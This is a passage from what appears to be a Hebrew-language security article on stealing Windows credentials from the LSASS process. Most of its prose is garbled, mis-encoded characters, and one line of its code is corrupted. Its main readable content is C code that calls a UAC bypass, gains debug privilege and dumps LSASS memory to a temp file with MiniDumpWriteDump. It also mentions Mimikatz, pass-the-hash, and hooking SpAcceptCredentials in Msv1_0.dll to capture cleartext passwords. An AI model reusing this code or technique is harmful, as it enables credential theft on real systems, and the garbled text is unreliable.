https://learn.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump
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ˣˢˤ ˭˟ˣˬ˩ ˵˶ ˡ˪˷ˢ Σ˭˞˩ˬ ˣ˥˵˧˸ ˸˞ ˢˤ ˫˸˞ Ηˢ˴˪ˬˢˢ ˧˪˷ ˞˧ˢ ˟ˣ˸˩˪ ˪ˡˣˬ ˸˶˷π˥ˣ˵˪ ˣ˸ˣ˰˴ˬ˞˟ 

ˢ˵ˤˣˮˢ ˥˪˷˸ ˸˞ ˳˟ˣ˵ˢ ˸˶˷˪ ˵ˣ˥˶ Σˣ˧˪˰ ˣ˪˩ˣ˸ ˷ˬ˸˷ˢ˪ ˸ˣ˧˷˲ˣ˥˟ ˟πMimikatz x-JohnTheRipper ˪˰ 

˸ˮˬ ˶˯˶˲˪ ˸˞ sπHashπ˫˧ ˫˧˞˴ˬˮ˷ ˳˟ˣ˵˟ ˳ˣ˶˲˪ˣ ˫˸ˣ˞ ˸ˣ˰˴ˬ˞˟ ˭ˣ˪˧ˬ Φ 

˸˞ ˡˣ˵ˢ ˞˪ˬˢ ˢ˪˰˞ ˡˣˬ˰˪ ˟˞ˢ˦˧ˠˢ ˧˪˷ ˣ˸ˣ˞ ˱˶˴˞ ˱ˣ˯˟ ˶ˬ˞ˬˢΥ 

int main()  
{  
    //Adminisitor check  
    if (! IsUserAnAdmin ()== 1)  
    {  
        //this code happens as  non admin  
        UACBypass();  
        //waits for the payload  
        Sleep ( 10000);  
        //exits  
        exit ( 1);  
    }  
    GainDebuggingPrivilege ();  
 
    system( "start lsass" );  
    //Getting lsass's process handle  
    DWORD ProcessId = ( DWORD) GetlsassProcessIdentifier ();  
    HANDLE lsassHandler;  
    lsassHandler = OpenProcess  
    (  
        PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, 
        0,  
        ProcessId  
    );  
 
    if (lsassHandler == NULL)  
    {  
        printf ( "lsass Error( %d) \ n" , GetLastError ());  
    }  
 
    //Creating a text file to hold the dumped lsass data  
    HANDLE lsassMinidump = CreateFileW  
    ƽƧ#ƙ\ \ TEMP\ \-ÉÎÉƚÔØÔƨƗ '%.%2)#ʍ2%!$ ƴ '%.%2)#ʍ72)4%Ɨ 
        0,  
        NULL,  
        CREATE_ALWAYS, 
        FILE_ATTRIBUTE_NORMAL | FILE_ATTRIBUTE_ARCHIVE | SECURITY_IMPERSONATION, 
        NULL);  
 
    if (lsassMinidump == NULL)  
    {  
        printf ( "Output Error( %d) \ n" , GetLastError ());  
    }  
 
    int code = MiniDumpWriteDump(  
        lsassHandler,  
        ProcessId,  
        lsassMinidump,  
        (MINIDUMP_TYPE)0x00000002,  
        NULL,  
        NULL,  
        NULL);  
    CloseHandle (lsassMinidump);  
}  
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˶˥˞˪ ˣ˥˸˲˸˷ ˸˞ ˳˟ˣ˵ˢ ˣ˪˩ˣ˸ ˸ˣ˞˶˪ ˢ˟˶ˢ ˫˧ˠ˷ˣˬ ˣˮˡˬ˪˷ ˷˲˥˪ˣ ˫˸ˣ˞ Η˫˞ ˣ˰ˡ˸ ˷˲˥˪ ˟ˣ˦ ˣˬ˩ 

Mimikatz ˣ˰ˡ˸ ˣ˪˧˲˞ ˞ˣ˴ˬ˪ ˸˞ s-Hash- ˫˧J 

 

 

ˢ˷˧ˠ ˢ˧˧ˮ˷ ΥTrampoline Hooking  

ˤ˞ ˶˥˞˪ ˧˸ˠ˴ˢ˷ ˫˩˧ˮ˲˟ ˸˞ ˧˪˩ˢ ˭ˣ˷˞˶ˢ ˞ˣˢ˷ ˭˩˞ ˧l ˟˧ˮˠˬ ˠ˧˴˞ ˸˞ ˧˪˩ˢ ˧ˮ˷ˢ Σ˞ˣˢ˷ ˟˧ˮˠˬ ˢ˟˶ˢ 

˶˸ˣ˧ J Φ˪˩˟ ˭˲ˣ˞ Σ˧˪˩ˢ ˟˶˰ˬ ˣ˩ˣ˸˟ ˫˧˦ˮˬ˪˞ ˫˧˟˩˶ˣˬ ˶˸ˣ˧ ˪˷ ˸ˣ˲˧˵˸ ˭ˣ˶˩˧ˤ .˭˟ˣˬ˩ ˶˧˟˯˞˷ ˪˰ ˪˩ 

˫˸ˣ˞ ˫˧˦ˮˬ˪˞ˢ, ˨˞ ˣ˪˞˪ ˫˩ˬ ˫ˮ˧˞˷ ˫˧˶˧˩ˬ ˸˞ ˫˧˞˷ˣˮˢ s˫˧˟ˣ˸˩ ˢ˦ˬ Σ˳˧˪ˬ˞ ˫ˣ˥˟ ˣ˞˶˵˸˷  ˸˞

˫˧˞˟ˢ ˫˧˶ˬ˞ˬˢ ˧ˮ˲˪ Σ˶˥˞ˬ ˫ˢˣ ˫˧˵˯ˣ˰ ˫˧˞˷ˣˮ˟ ˭˲ˣ˞˟ ˧ˡˣ˰˧˧ ˦˶ˣ˲ˬˣΥ 

¶ ˶ˬ˞ˬˢ ˪˷ ˧˶ˣ˞ ˯˵˶˲ ˞˷ˣˮ˟ usermode hooking 

¶ ˶ˬ˞ˬˢ  ˪˷Spl0it ˞˷ˣˮ˟ PE Format 

¶ ˶ˬ˞ˬˢ ˪˷ ˱˧˯˩ ˪˵ˡ ˭ˮˣ˶ˣ ˭˧˦˯ˣ˷ ˞˷ˣˮ˟ ˞ˣ˟ˬ ˪-Ghidra 

˧ˬ ˢ˴ˣ˶˷ ˰˴˟˪ ˸˞ ˶˵˥ˬˢ ˡ˥˧ ˧˸˧˞ Σˣˮ˞ ˷ˬ˸˷ˮ ˟π .VisualStudio ,Process Hacker ,Ghidra / IDA˨˩ 

˧˞ˡ˩˷ ˣˮ˧˩˸˷ ˫˸ˣ˞ ˷˞˶ˬΦ 

˧˪˩ˢ ˟ˣ˸˩ˮ˷ ˱ˣ˵˸˧ ˸˞ ˸˪˧˟˥ ˸ˣˬ˧˞ˢ ˢ˧˪˰ ˣˮ˶˟˧ˡ ˸ˣ˟˶ - Msv1_0.dll Φ˸˪˧˟˥ ˸ˣˬ˧˞ˢ ˸˞ˤˢ ˸˞˴ˬˮ 

˷ˣˬ˧˷˟ ˪˰ ˧ˡ˧ LSASS ˪˩˟ ˫˰˲ ˷ˬ˸˷ˬ˷ ˯ˮ˩ˮ ˰˴˟ˬˣ ˸ˣˬ˧˞ ˸ˣ˰˴ˬ˞˟ NTLMΦ ˢ˸ˣ˞˪ ˸˪˧˟˥ ˸ˣˬ˧˞ 

ˢˮ˷˧ ˢ˧˴˵ˮˣ˲ ˫˷˟ SpAcceptCredentials() ˶˷˞ ˸˞˶˵ˮ ˪˰ ˧ˡ˧ LSASS ˶˷˞˩ ˷ˬ˸˷ˬ ˸ˬ˞˸ˬ ˢ˥˪˴ˢ˟ Φ 

ˢ˸ˣ˞ ˢ˧˴˵ˮˣ˲ˢ ˸˪˟˵ˬ ˶˦ˬ˶˲˩ ˸˞ ˞ˬ˯˧˯ˢ ˩πClearText Η˶ˬˣ˪˩ ˞˪˪ ˟ˣ˟˧ˠ Φ˸˧ˮ˩ˣ˸ˢ ˣˮ˪˷ ˞˧ˢ ˣˢ˷˩˧˞ 

˰˧ˠˢ˪ ˪˞ ˢ˧˴˵ˮˣ˲ˢ ˸˞ˤˢ Σ˱ˣ˪˷˪ˣ ˢˮˬˬ ˸˞ ˶˦ˬ˶˲ˢ ˢˤˢ ˞˧ˢ˷ ˸˪˟˵ˬ x˟ ˸˞˴ˬˮ ˞ˬ˯˧˯ˢ Φ˸ˣˮˣ˧˰˶, 

ˣˢ˷˧ˬΚ 

  

https://www.digitalwhisper.co.il/files/Zines/0x0A/DW10-4-ULHooking.pdf
https://www.digitalwhisper.co.il/files/Zines/0x5A/DW90-3-PE.pdf
https://www.digitalwhisper.co.il/files/Zines/0x69/DW105-1-Ghidra_Part1.pdf
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ˤ˞ ˣ˞ˣ˟ ˪˧˥˸ˮ ˶ˣ˵˥˪Η 

ˣˮ˶˟˧ˡ ˪˰ ˢ˧˴˵ˮˣ˲ ˫˷˟ SpAcceptCredentials() ˸˞˴ˬˮ˷ ˟-Msv1_0.dll Φ˶˥˞˪ ˪ˣˠ˧ˠ ˭˸˧ˮ ˸ˣ˞˶˪ ˟π

MSDN ˸˞ ˶ˣ˞˧˸ˢ ˞˟ˢ Σ˧˲˩˷ ˭˸˧ˮ˷ ˡˣˬ˪˪ ˣˮˬˬ Σ˶˦ˬ˶˲ˢ ˣ˸ˣ˞ ˣˮ˞ ˫˧˴ˣ˶ ˡˣ˴˪ ˞ˣˢ PrimaryCredentials 

˪˧˩ˬ˷ ˸˞ ˸ˣ˞ˬ˯˧˯ˢ ˦˯˵˦˩ Η 

 

  


























































































































